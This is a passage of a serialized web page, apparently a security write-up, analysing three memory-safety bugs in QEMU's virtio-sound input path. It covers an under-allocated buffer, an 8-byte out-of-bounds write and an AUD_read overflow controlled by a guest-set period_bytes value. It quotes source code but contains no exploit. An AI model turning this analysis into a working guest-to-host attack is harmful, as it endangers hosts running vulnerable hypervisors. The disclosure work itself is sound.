*elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[126310],{"type":23,"tag":71,"props":126311,"children":126312},{"__ignoreMap":7},[126313,126325,126338,126353,126370,126382,126394,126402,126414,126434],{"type":23,"tag":230,"props":126314,"children":126315},{"class":232,"line":233},[126316,126320],{"type":23,"tag":230,"props":126317,"children":126318},{"style":256},[126319],{"type":29,"value":11733},{"type":23,"tag":230,"props":126321,"children":126322},{"style":274},[126323],{"type":29,"value":126324}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":230,"props":126326,"children":126327},{"class":232,"line":243},[126328,126333],{"type":23,"tag":230,"props":126329,"children":126330},{"style":294},[126331],{"type":29,"value":126332},"    QSIMPLEQ_ENTRY",{"type":23,"tag":230,"props":126334,"children":126335},{"style":274},[126336],{"type":29,"value":126337},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":230,"props":126339,"children":126340},{"class":232,"line":252},[126341,126345,126349],{"type":23,"tag":230,"props":126342,"children":126343},{"style":274},[126344],{"type":29,"value":125670},{"type":23,"tag":230,"props":126346,"children":126347},{"style":268},[126348],{"type":29,"value":6909},{"type":23,"tag":230,"props":126350,"children":126351},{"style":274},[126352],{"type":29,"value":125679},{"type":23,"tag":230,"props":126354,"children":126355},{"class":232,"line":280},[126356,126361,126365],{"type":23,"tag":230,"props":126357,"children":126358},{"style":274},[126359],{"type":29,"value":126360},"    VirtQueue ",{"type":23,"tag":230,"props":126362,"children":126363},{"style":268},[126364],{"type":29,"value":6909},{"type":23,"tag":230,"props":126366,"children":126367},{"style":274},[126368],{"type":29,"value":126369},"vq;\n",{"type":23,"tag":230,"props":126371,"children":126372},{"class":232,"line":334},[126373,126377],{"type":23,"tag":230,"props":126374,"children":126375},{"style":256},[126376],{"type":29,"value":18889},{"type":23,"tag":230,"props":126378,"children":126379},{"style":274},[126380],{"type":29,"value":126381}," size;\n",{"type":23,"tag":230,"props":126383,"children":126384},{"class":232,"line":371},[126385,126389],{"type":23,"tag":230,"props":126386,"children":126387},{"style":256},[126388],{"type":29,"value":57386},{"type":23,"tag":230,"props":126390,"children":126391},{"style":274},[126392],{"type":29,"value":126393}," offset;\n",{"type":23,"tag":230,"props":126395,"children":126396},{"class":232,"line":391},[126397],{"type":23,"tag":230,"props":126398,"children":126399},{"style":237},[126400],{"type":29,"value":126401},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":230,"props":126403,"children":126404},{"class":232,"line":400},[126405,126409],{"type":23,"tag":230,"props":126406,"children":126407},{"style":256},[126408],{"type":29,"value":48244},{"type":23,"tag":230,"props":126410,"children":126411},{"style":274},[126412],{"type":29,"value":126413}," populated;\n",{"type":23,"tag":230,"props":126415,"children":126416},{"class":232,"line":444},[126417,126421,126425,126430],{"type":23,"tag":230,"props":126418,"children":126419},{"style":256},[126420],{"type":29,"value":60231},{"type":23,"tag":230,"props":126422,"children":126423},{"style":274},[126424],{"type":29,"value":17430},{"type":23,"tag":230,"props":126426,"children":126427},{"style":256},[126428],{"type":29,"value":126429},"[]",{"type":23,"tag":230,"props":126431,"children":126432},{"style":274},[126433],{"type":29,"value":511},{"type":23,"tag":230,"props":126435,"children":126436},{"class":232,"line":453},[126437],{"type":23,"tag":230,"props":126438,"children":126439},{"style":274},[126440],{"type":29,"value":450},{"type":23,"tag":32,"props":126442,"children":126443},{},[126444,126446,126452,126454,126459,126461,126466,126468,126473,126475,126480,126482,126488],{"type":29,"value":126445},"That under-allocation removes the ",{"type":23,"tag":71,"props":126447,"children":126449},{"className":126448},[],[126450],{"type":29,"value":126451},"populated",{"type":29,"value":126453}," field along with the variable-sized ",{"type":23,"tag":71,"props":126455,"children":126457},{"className":126456},[],[126458],{"type":29,"value":6037},{"type":29,"value":126460}," array. As the comment says, ",{"type":23,"tag":71,"props":126462,"children":126464},{"className":126463},[],[126465],{"type":29,"value":126451},{"type":29,"value":126467}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":71,"props":126469,"children":126471},{"className":126470},[],[126472],{"type":29,"value":6348},{"type":29,"value":126474},", the device believes data should be ",{"type":23,"tag":71,"props":126476,"children":126478},{"className":126477},[],[126479],{"type":29,"value":6348},{"type":29,"value":126481}," byte, while the actual allocation is ",{"type":23,"tag":71,"props":126483,"children":126485},{"className":126484},[],[126486],{"type":29,"value":126487},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":312},{"type":23,"tag":192,"props":126490,"children":126492},{"id":126491},"populating-data-buffers",[126493],{"type":29,"value":126494},"Populating Data Buffers",{"type":23,"tag":32,"props":126496,"children":126497},{},[126498],{"type":29,"value":126499},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":220,"props":126501,"children":126503},{"code":126502,"language":2148,"meta":7,"className":18839,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[126504],{"type":23,"tag":71,"props":126505,"children":126506},{"__ignoreMap":7},[126507,126514,126522,126529,126537,126545,126552,126601,126608,126634,126651,126663,126670,126702,126747,126787,126794,126802,126809,126834,126862,126886,126894,126906,126944,126957,126969,126976,127022,127059,127102,127123,127143,127163,127174,127181,127204,127220,127228,127235,127242,127249],{"type":23,"tag":230,"props":126508,"children":126509},{"class":232,"line":233},[126510],{"type":23,"tag":230,"props":126511,"children":126512},{"style":237},[126513],{"type":29,"value":51138},{"type":23,"tag":230,"props":126515,"children":126516},{"class":232,"line":243},[126517],{"type":23,"tag":230,"props":126518,"children":126519},{"style":237},[126520],{"type":29,"value":126521}," * AUD_* input callback.\n",{"type":23,"tag":230,"props":126523,"children":126524},{"class":232,"line":252},[126525],{"type":23,"tag":230,"props":126526,"children":126527},{"style":237},[126528],{"type":29,"value":21802},{"type":23,"tag":230,"props":126530,"children":126531},{"class":232,"line":280},[126532],{"type":23,"tag":230,"props":126533,"children":126534},{"style":237},[126535],{"type":29,"value":126536}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":230,"props":126538,"children":126539},{"class":232,"line":334},[126540],{"type":23,"tag":230,"props":126541,"children":126542},{"style":237},[126543],{"type":29,"value":126544}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":230,"props":126546,"children":126547},{"class":232,"line":371},[126548],{"type":23,"tag":230,"props":126549,"children":126550},{"style":237},[126551],{"type":29,"value":125607},{"type":23,"tag":230,"props":126553,"children":126554},{"class":232,"line":391},[126555,126559,126563,126568,126572,126576,126580,126584,126588,126592,126597],{"type":23,"tag":230,"props":126556,"children":126557},{"style":256},[126558],{"type":29,"value":52817},{"type":23,"tag":230,"props":126560,"children":126561},{"style":256},[126562],{"type":29,"value":52822},{"type":23,"tag":230,"props":126564,"children":126565},{"style":294},[126566],{"type":29,"value":126567}," virtio_snd_pcm_in_cb",{"type":23,"tag":230,"props":126569,"children":126570},{"style":274},[126571],{"type":29,"value":302},{"type":23,"tag":230,"props":126573,"children":126574},{"style":256},[126575],{"type":29,"value":53400},{"type":23,"tag":230,"props":126577,"children":126578},{"style":268},[126579],{"type":29,"value":12147},{"type":23,"tag":230,"props":126581,"children":126582},{"style":262},[126583],{"type":29,"value":6037},{"type":23,"tag":230,"props":126585,"children":126586},{"style":274},[126587],{"type":29,"value":684},{"type":23,"tag":230,"props":126589,"children":126590},{"style":256},[126591],{"type":29,"value":21364},{"type":23,"tag":230,"props":126593,"children":126594},{"style":262},[126595],{"type":29,"value":126596}," available",{"type":23,"tag":230,"props":126598,"children":126599},{"style":274},[126600],{"type":29,"value":4516},{"type":23,"tag":230,"props":126602,"children":126603},{"class":232,"line":400},[126604],{"type":23,"tag":230,"props":126605,"children":126606},{"style":274},[126607],{"type":29,"value":13211},{"type":23,"tag":230,"props":126609,"children":126610},{"class":232,"line":444},[126611,126616,126620,126625,126629],{"type":23,"tag":230,"props":126612,"children":126613},{"style":274},[126614],{"type":29,"value":126615},"    VirtIOSoundPCMStream ",{"type":23,"tag":230,"props":126617,"children":126618},{"style":268},[126619],{"type":29,"value":6909},{"type":23,"tag":230,"props":126621,"children":126622},{"style":274},[126623],{"type":29,"value":126624},"stream ",{"type":23,"tag":230,"props":126626,"children":126627},{"style":268},[126628],{"type":29,"value":863},{"type":23,"tag":230,"props":126630,"children":126631},{"style":274},[126632],{"type":29,"value":126633}," data;\n",{"type":23,"tag":230,"props":126635,"children":126636},{"class":232,"line":453},[126637,126642,126646],{"type":23,"tag":230,"props":126638,"children":126639},{"style":274},[126640],{"type":29,"value":126641},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":230,"props":126643,"children":126644},{"style":268},[126645],{"type":29,"value":6909},{"type":23,"tag":230,"props":126647,"children":126648},{"style":274},[126649],{"type":29,"value":126650},"buffer;\n",{"type":23,"tag":230,"props":126652,"children":126653},{"class":232,"line":462},[126654,126658],{"type":23,"tag":230,"props":126655,"children":126656},{"style":256},[126657],{"type":29,"value":18889},{"type":23,"tag":230,"props":126659,"children":126660},{"style":274},[126661],{"type":29,"value":126662}," size, max_size;\n",{"type":23,"tag":230,"props":126664,"children":126665},{"class":232,"line":471},[126666],{"type":23,"tag":230,"props":126667,"children":126668},{"emptyLinePlaceholder":18},[126669],{"type":29,"value":459},{"type":23,"tag":230,"props":126671,"children":126672},{"class":232,"line":500},[126673,126678,126682,126686,126690,126694,126698],{"type":23,"tag":230,"props":126674,"children":126675},{"style":294},[126676],{"type":29,"value":126677},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":230,"props":126679,"children":126680},{"style":274},[126681],{"type":29,"value":302},{"type":23,"tag":230,"props":126683,"children":126684},{"style":268},[126685],{"type":29,"value":5448},{"type":23,"tag":230,"props":126687,"children":126688},{"style":262},[126689],{"type":29,"value":920},{"type":23,"tag":230,"props":126691,"children":126692},{"style":274},[126693],{"type":29,"value":16084},{"type":23,"tag":230,"props":126695,"children":126696},{"style":262},[126697],{"type":29,"value":125854},{"type":23,"tag":230,"props":126699,"children":126700},{"style":274},[126701],{"type":29,"value":827},{"type":23,"tag":230,"props":126703,"children":126704},{"class":232,"line":514},[126705,126710,126714,126718,126723,126727,126731,126735,126739,126743],{"type":23,"tag":230,"props":126706,"children":126707},{"style":866},[126708],{"type":29,"value":126709},"        while",{"type":23,"tag":230,"props":126711,"children":126712},{"style":274},[126713],{"type":29,"value":664},{"type":23,"tag":230,"props":126715,"children":126716},{"style":268},[126717],{"type":29,"value":22936},{"type":23,"tag":230,"props":126719,"children":126720},{"style":294},[126721],{"type":29,"value":126722},"QSIMPLEQ_EMPTY",{"type":23,"tag":230,"props":126724,"children":126725},{"style":274},[126726],{"type":29,"value":302},{"type":23,"tag":230,"props":126728,"children":126729},{"style":268},[126730],{"type":29,"value":5448},{"type":23,"tag":230,"props":126732,"children":126733},{"style":262},[126734],{"type":29,"value":920},{"type":23,"tag":230,"props":126736,"children":126737},{"style":274},[126738],{"type":29,"value":16084},{"type":23,"tag":230,"props":126740,"children":126741},{"style":262},[126742],{"type":29,"value":126107},{"type":23,"tag":230,"props":126744,"children":126745},{"style":274},[126746],{"type":29,"value":37480},{"type":23,"tag":230,"props":126748,"children":126749},{"class":232,"line":897},[126750,126754,126758,126763,126767,126771,126775,126779,126783],{"type":23,"tag":230,"props":126751,"children":126752},{"style":274},[126753],{"type":29,"value":125943},{"type":23,"tag":230,"props":126755,"children":126756},{"style":268},[126757],{"type":29,"value":863},{"type":23,"tag":230,"props":126759,"children":126760},{"style":294},[126761],{"type":29,"value":126762}," QSIMPLEQ_FIRST",{"type":23,"tag":230,"props":126764,"children":126765},{"style":274},[126766],{"type":29,"value":302},{"type":23,"tag":230,"props":126768,"children":126769},{"style":268},[126770],{"type":29,"value":5448},{"type":23,"tag":230,"props":126772,"children":126773},{"style":262},[126774],{"type":29,"value":920},{"type":23,"tag":230,"props":126776,"children":126777},{"style":274},[126778],{"type":29,"value":16084},{"type":23,"tag":230,"props":126780,"children":126781},{"style":262},[126782],{"type":29,"value":126107},{"type":23,"tag":230,"props":126784,"children":126785},{"style":274},[126786],{"type":29,"value":753},{"type":23,"tag":230,"props":126788,"children":126789},{"class":232,"line":960},[126790],{"type":23,"tag":230,"props":126791,"children":126792},{"emptyLinePlaceholder":18},[126793],{"type":29,"value":459},{"type":23,"tag":230,"props":126795,"children":126796},{"class":232,"line":969},[126797],{"type":23,"tag":230,"props":126798,"children":126799},{"style":274},[126800],{"type":29,"value":126801},"            [...]\n",{"type":23,"tag":230,"props":126803,"children":126804},{"class":232,"line":4526},[126805],{"type":23,"tag":230,"props":126806,"children":126807},{"emptyLinePlaceholder":18},[126808],{"type":29,"value":459},{"type":23,"tag":230,"props":126810,"children":126811},{"class":232,"line":4534},[126812,126817,126821,126825,126829],{"type":23,"tag":230,"props":126813,"children":126814},{"style":274},[126815],{"type":29,"value":126816},"            max_size ",{"type":23,"tag":230,"props":126818,"children":126819},{"style":268},[126820],{"type":29,"value":863},{"type":23,"tag":230,"props":126822,"children":126823},{"style":294},[126824],{"type":29,"value":125875},{"type":23,"tag":230,"props":126826,"children":126827},{"style":274},[126828],{"type":29,"value":302},{"type":23,"tag":230,"props":126830,"children":126831},{"style":237},[126832],{"type":29,"value":126833},"                    // [1]\n",{"type":23,"tag":230,"props":126835,"children":126836},{"class":232,"line":4542},[126837,126842,126846,126850,126854,126858],{"type":23,"tag":230,"props":126838,"children":126839},{"style":262},[126840],{"type":29,"value":126841},"                buffer",{"type":23,"tag":230,"props":126843,"children":126844},{"style":274},[126845],{"type":29,"value":16084},{"type":23,"tag":230,"props":126847,"children":126848},{"style":262},[126849],{"type":29,"value":53837},{"type":23,"tag":230,"props":126851,"children":126852},{"style":274},[126853],{"type":29,"value":16084},{"type":23,"tag":230,"props":126855,"children":126856},{"style":262},[126857],{"type":29,"value":125892},{"type":23,"tag":230,"props":126859,"children":126860},{"style":274},[126861],{"type":29,"value":388},{"type":23,"tag":230,"props":126863,"children":126864},{"class":232,"line":4559},[126865,126869,126873,126877,126881],{"type":23,"tag":230,"props":126866,"children":126867},{"style":262},[126868],{"type":29,"value":126841},{"type":23,"tag":230,"props":126870,"children":126871},{"style":274},[126872],{"type":29,"value":16084},{"type":23,"tag":230,"props":126874,"children":126875},{"style":262},[126876],{"type":29,"value":53837},{"type":23,"tag":230,"props":126878,"children":126879},{"style":274},[126880],{"type":29,"value":16084},{"type":23,"tag":230,"props":126882,"children":126883},{"style":262},[126884],{"type":29,"value":126885},"in_num\n",{"type":23,"tag":230,"props":126887,"children":126888},{"class":232,"line":4587},[126889],{"type":23,"tag":230,"props":126890,"children":126891},{"style":274},[126892],{"type":29,"value":126893},"            );\n",{"type":23,"tag":230,"props":126895,"children":126896},{"class":232,"line":4595},[126897,126902],{"type":23,"tag":230,"props":126898,"children":126899},{"style":866},[126900],{"type":29,"value":126901},"            for",{"type":23,"tag":230,"props":126903,"children":126904},{"style":274},[126905],{"type":29,"value":125705},{"type":23,"tag":230,"props":126907,"children":126908},{"class":232,"line":4619},[126909,126913,126917,126922,126926,126930,126934,126939],{"type":23,"tag":230,"props":126910,"children":126911},{"style":866},[126912],{"type":29,"value":105299},{"type":23,"tag":230,"props":126914,"children":126915},{"style":274},[126916],{"type":29,"value":664},{"type":23,"tag":230,"props":126918,"children":126919},{"style":262},[126920],{"type":29,"value":126921},"buffer",{"type":23,"tag":230,"props":126923,"children":126924},{"style":274},[126925],{"type":29,"value":16084},{"type":23,"tag":230,"props":126927,"children":126928},{"style":262},[126929],{"type":29,"value":126039},{"type":23,"tag":230,"props":126931,"children":126932},{"style":268},[126933],{"type":29,"value":10637},{"type":23,"tag":230,"props":126935,"children":126936},{"style":274},[126937],{"type":29,"value":126938}," max_size) {",{"type":23,"tag":230,"props":126940,"children":126941},{"style":237},[126942],{"type":29,"value":126943},"     // [2]\n",{"type":23,"tag":230,"props":126945,"children":126946},{"class":232,"line":4627},[126947,126952],{"type":23,"tag":230,"props":126948,"children":126949},{"style":294},[126950],{"type":29,"value":126951},"                    return_rx_buffer",{"type":23,"tag":230,"props":126953,"children":126954},{"style":274},[126955],{"type":29,"value":126956},"(stream, buffer);\n",{"type":23,"tag":230,"props":126958,"children":126959},{"class":232,"line":4659},[126960,126965],{"type":23,"tag":230,"props":126961,"children":126962},{"style":866},[126963],{"type":29,"value":126964},"                    break",{"type":23,"tag":230,"props":126966,"children":126967},{"style":274},[126968],{"type":29,"value":511},{"type":23,"tag":230,"props":126970,"children":126971},{"class":232,"line":4671},[126972],{"type":23,"tag":230,"props":126973,"children":126974},{"style":274},[126975],{"type":29,"value":72848},{"type":23,"tag":230,"props":126977,"children":126978},{"class":232,"line":4688},[126979,126984,126988,126993,126997,127001,127005,127010,127014,127018],{"type":23,"tag":230,"props":126980,"children":126981},{"style":274},[126982],{"type":29,"value":126983},"                size ",{"type":23,"tag":230,"props":126985,"children":126986},{"style":268},[126987],{"type":29,"value":863},{"type":23,"tag":230,"props":126989,"children":126990},{"style":294},[126991],{"type":29,"value":126992}," AUD_read",{"type":23,"tag":230,"props":126994,"children":126995},{"style":274},[126996],{"type":29,"value":302},{"type":23,"tag":230,"props":126998,"children":126999},{"style":262},[127000],{"type":29,"value":920},{"type":23,"tag":230,"props":127002,"children":127003},{"style":274},[127004],{"type":29,"value":16084},{"type":23,"tag":230,"props":127006,"children":127007},{"style":262},[127008],{"type":29,"value":127009},"voice",{"type":23,"tag":230,"props":127011,"children":127012},{"style":274},[127013],{"type":29,"value":312},{"type":23,"tag":230,"props":127015,"children":127016},{"style":262},[127017],{"type":29,"value":97277},{"type":23,"tag":230,"props":127019,"children":127020},{"style":274},[127021],{"type":29,"value":388},{"type":23,"tag":230,"props":127023,"children":127024},{"class":232,"line":4701},[127025,127030,127034,127038,127042,127047,127051,127055],{"type":23,"tag":230,"props":127026,"children":127027},{"style":262},[127028],{"type":29,"value":127029},"                        buffer",{"type":23,"tag":230,"props":127031,"children":127032},{"style":274},[127033],{"type":29,"value":16084},{"type":23,"tag":230,"props":127035,"children":127036},{"style":262},[127037],{"type":29,"value":6037},{"type":23,"tag":230,"props":127039,"children":127040},{"style":268},[127041],{"type":29,"value":11238},{"type":23,"tag":230,"props":127043,"children":127044},{"style":262},[127045],{"type":29,"value":127046}," buffer",{"type":23,"tag":230,"props":127048,"children":127049},{"style":274},[127050],{"type":29,"value":16084},{"type":23,"tag":230,"props":127052,"children":127053},{"style":262},[127054],{"type":29,"value":126039},{"type":23,"tag":230,"props":127056,"children":127057},{"style":274},[127058],{"type":29,"value":388},{"type":23,"tag":230,"props":127060,"children":127061},{"class":232,"line":4724},[127062,127067,127072,127076,127080,127084,127088,127093,127097],{"type":23,"tag":230,"props":127063,"children":127064},{"style":294},[127065],{"type":29,"value":127066},"                        MIN",{"type":23,"tag":230,"props":127068,"children":127069},{"style":274},[127070],{"type":29,"value":127071},"(available, (",{"type":23,"tag":230,"props":127073,"children":127074},{"style":262},[127075],{"type":29,"value":920},{"type":23,"tag":230,"props":127077,"children":127078},{"style":274},[127079],{"type":29,"value":16084},{"type":23,"tag":230,"props":127081,"children":127082},{"style":262},[127083],{"type":29,"value":100061},{"type":23,"tag":230,"props":127085,"children":127086},{"style":274},[127087],{"type":29,"value":312},{"type":23,"tag":230,"props":127089,"children":127090},{"style":262},[127091],{"type":29,"value":127092},"period_bytes",{"type":23,"tag":230,"props":127094,"children":127095},{"style":268},[127096],{"type":29,"value":53028},{"type":23,"tag":230,"props":127098,"children":127099},{"style":237},[127100],{"type":29,"value":127101},"     // [3]\n",{"type":23,"tag":230,"props":127103,"children":127104},{"class":232,"line":4741},[127105,127110,127114,127118],{"type":23,"tag":230,"props":127106,"children":127107},{"style":262},[127108],{"type":29,"value":127109},"                                        buffer",{"type":23,"tag":230,"props":127111,"children":127112},{"style":274},[127113],{"type":29,"value":16084},{"type":23,"tag":230,"props":127115,"children":127116},{"style":262},[127117],{"type":29,"value":126039},{"type":23,"tag":230,"props":127119,"children":127120},{"style":274},[127121],{"type":29,"value":127122},")));\n",{"type":23,"tag":230,"props":127124,"children":127125},{"class":232,"line":4759},[127126,127130,127134,127138],{"type":23,"tag":230,"props":127127,"children":127128},{"style":866},[127129],{"type":29,"value":105299},{"type":23,"tag":230,"props":127131,"children":127132},{"style":274},[127133],{"type":29,"value":664},{"type":23,"tag":230,"props":127135,"children":127136},{"style":268},[127137],{"type":29,"value":22936},{"type":23,"tag":230,"props":127139,"children":127140},{"style":274},[127141],{"type":29,"value":127142},"size) {\n",{"type":23,"tag":230,"props":127144,"children":127145},{"class":232,"line":4768},[127146,127151,127155,127159],{"type":23,"tag":230,"props":127147,"children":127148},{"style":274},[127149],{"type":29,"value":127150},"                    available ",{"type":23,"tag":230,"props":127152,"children":127153},{"style":268},[127154],{"type":29,"value":863},{"type":23,"tag":230,"props":127156,"children":127157},{"style":5149},[127158],{"type":29,"value":5386},{"type":23,"tag":230,"props":127160,"children":127161},{"style":274},[127162],{"type":29,"value":511},{"type":23,"tag":230,"props":127164,"children":127165},{"class":232,"line":4776},[127166,127170],{"type":23,"tag":230,"props":127167,"children":127168},{"style":866},[127169],{"type":29,"value":126964},{"type":23,"tag":230,"props":127171,"children":127172},{"style":274},[127173],{"type":29,"value":511},{"type":23,"tag":230,"props":127175,"children":127176},{"class":232,"line":4784},[127177],{"type":23,"tag":230,"props":127178,"children":127179},{"style":274},[127180],{"type":29,"value":72848},{"type":23,"tag":230,"props":127182,"children":127183},{"class":232,"line":4792},[127184,127188,127192,127196,127200],{"type":23,"tag":230,"props":127185,"children":127186},{"style":262},[127187],{"type":29,"value":126841},{"type":23,"tag":230,"props":127189,"children":127190},{"style":274},[127191],{"type":29,"value":16084},{"type":23,"tag":230,"props":127193,"children":127194},{"style":262},[127195],{"type":29,"value":126039},{"type":23,"tag":230,"props":127197,"children":127198},{"style":268},[127199],{"type":29,"value":17390},{"type":23,"tag":230,"props":127201,"children":127202},{"style":274},[127203],{"type":29,"value":126381},{"type":23,"tag":230,"props":127205,"children":127206},{"class":232,"line":4824},[127207,127212,127216],{"type":23,"tag":230,"props":127208,"children":127209},{"style":274},[127210],{"type":29,"value":127211},"                available ",{"type":23,"tag":230,"props":127213,"children":127214},{"style":268},[127215],{"type":29,"value":105764},{"type":23,"tag":230,"props":127217,"children":127218},{"style":274},[127219],{"type":29,"value":126381},{"type":23,"tag":230,"props":127221,"children":127222},{"class":232,"line":4832},[127223],{"type":23,"tag":230,"props":127224,"children":127225},{"style":274},[127226],{"type":29,"value":127227},"                [...]\n",{"type":23,"tag":230,"props":127229,"children":127230},{"class":232,"line":4840},[127231],{"type":23,"tag":230,"props":127232,"children":127233},{"style":274},[127234],{"type":29,"value":60659},{"type":23,"tag":230,"props":127236,"children":127237},{"class":232,"line":4901},[127238],{"type":23,"tag":230,"props":127239,"children":127240},{"style":274},[127241],{"type":29,"value":5686},{"type":23,"tag":230,"props":127243,"children":127244},{"class":232,"line":4909},[127245],{"type":23,"tag":230,"props":127246,"children":127247},{"style":274},[127248],{"type":29,"value":1552},{"type":23,"tag":230,"props":127250,"children":127251},{"class":232,"line":4938},[127252],{"type":23,"tag":230,"props":127253,"children":127254},{"style":274},[127255],{"type":29,"value":975},{"type":23,"tag":32,"props":127257,"children":127258},{},[127259,127260,127265,127266,127272,127274,127280,127282,127287,127288,127293,127295,127300],{"type":29,"value":126161},{"type":23,"tag":71,"props":127261,"children":127263},{"className":127262},[],[127264],{"type":29,"value":126167},{"type":29,"value":684},{"type":23,"tag":71,"props":127267,"children":127269},{"className":127268},[],[127270],{"type":29,"value":127271},"max_size",{"type":29,"value":127273}," is set to ",{"type":23,"tag":71,"props":127275,"children":127277},{"className":127276},[],[127278],{"type":29,"value":127279},"iov_size(in_sg, in_num)",{"type":29,"value":127281},". Both ",{"type":23,"tag":71,"props":127283,"children":127285},{"className":127284},[],[127286],{"type":29,"value":125892},{"type":29,"value":112},{"type":23,"tag":71,"props":127289,"children":127291},{"className":127290},[],[127292],{"type":29,"value":125909},{"type":29,"value":127294}," are the same guest-controlled fields from ",{"type":23,"tag":71,"props":127296,"children":127298},{"className":127297},[],[127299],{"type":29,"value":125544},{"type":29,"value":312},{"type":23,"tag":32,"props":127302,"children":127303},{},[127304,127306,127311,127313,127319,127321,127327,127329,127335],{"type":29,"value":127305},"Later, at ",{"type":23,"tag":71,"props":127307,"children":127309},{"className":127308},[],[127310],{"type":29,"value":126202},{"type":29,"value":127312},", the code checks whether ",{"type":23,"tag":71,"props":127314,"children":127316},{"className":127315},[],[127317],{"type":29,"value":127318},"buffer->size >= max_size",{"type":29,"value":127320},". In the RX path, ",{"type":23,"tag":71,"props":127322,"children":127324},{"className":127323},[],[127325],{"type":29,"value":127326},"buffer->size",{"type":29,"value":127328}," tracks how many bytes have been written into ",{"type":23,"tag":71,"props":127330,"children":127332},{"className":127331},[],[127333],{"type":29,"value":127334},"buffer->data",{"type":29,"value":127336},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":32,"props":127338,"children":127339},{},[127340,127342,127347,127349,127355,127357,127362,127364,127370],{"type":29,"value":127341},"However, this does not match the allocation logic in ",{"type":23,"tag":71,"props":127343,"children":127345},{"className":127344},[],[127346],{"type":29,"value":125544},{"type":29,"value":127348},", which used: ",{"type":23,"tag":71,"props":127350,"children":127352},{"className":127351},[],[127353],{"type":29,"value":127354},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":127356},". In other words, the allocation subtracts ",{"type":23,"tag":71,"props":127358,"children":127360},{"className":127359},[],[127361],{"type":29,"value":126268},{"type":29,"value":127363},", but the later bound in ",{"type":23,"tag":71,"props":127365,"children":127367},{"className":127366},[],[127368],{"type":29,"value":127369},"virtio_snd_pcm_in_cb",{"type":29,"value":127371}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":32,"props":127373,"children":127374},{},[127375,127377,127382,127384,127390,127392,127398,127400,127405,127407,127413,127415,127421,127423,127428,127430,127435],{"type":29,"value":127376},"Finally, at ",{"type":23,"tag":71,"props":127378,"children":127380},{"className":127379},[],[127381],{"type":29,"value":126226},{"type":29,"value":127383},", the code calls ",{"type":23,"tag":71,"props":127385,"children":127387},{"className":127386},[],[127388],{"type":29,"value":127389},"AUD_read",{"type":29,"value":127391}," with the following limit:\n",{"type":23,"tag":71,"props":127393,"children":127395},{"className":127394},[],[127396],{"type":29,"value":127397},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":127399},". Notice how this bound does not take ",{"type":23,"tag":71,"props":127401,"children":127403},{"className":127402},[],[127404],{"type":29,"value":127271},{"type":29,"value":127406}," into account at all. That means if ",{"type":23,"tag":71,"props":127408,"children":127410},{"className":127409},[],[127411],{"type":29,"value":127412},"available",{"type":29,"value":127414}," is larger than the allocated buffer, and ",{"type":23,"tag":71,"props":127416,"children":127418},{"className":127417},[],[127419],{"type":29,"value":127420},"stream->params.period_bytes",{"type":29,"value":127422}," is also larger than the allocated buffer, ",{"type":23,"tag":71,"props":127424,"children":127426},{"className":127425},[],[127427],{"type":29,"value":127389},{"type":29,"value":127429}," will write past the end of ",{"type":23,"tag":71,"props":127431,"children":127433},{"className":127432},[],[127434],{"type":29,"value":127334},{"type":29,"value":127436}," - the third, and final, bug we found.",{"type":23,"tag":32,"props":127438,"children":127439},{},[127440,127442,127447,127449,127455],{"type":29,"value":127441},"Looking further at the code, we can see that ",{"type":23,"tag":71,"props":127443,"children":127445},{"className":127444},[],[127446],{"type":29,"value":127420},{"type":29,"value":127448}," is fully guest-controlled by issuing a ",{"type":23,"tag":71,"props":127450,"children":127452},{"className":127451},[],[127453],{"type":29,"value":127454},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":127456}," request:",{"type":23,"tag":220,"props":127458,"children":127460},{"code":127459,"language":2148,"meta":7,"className":18839,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return 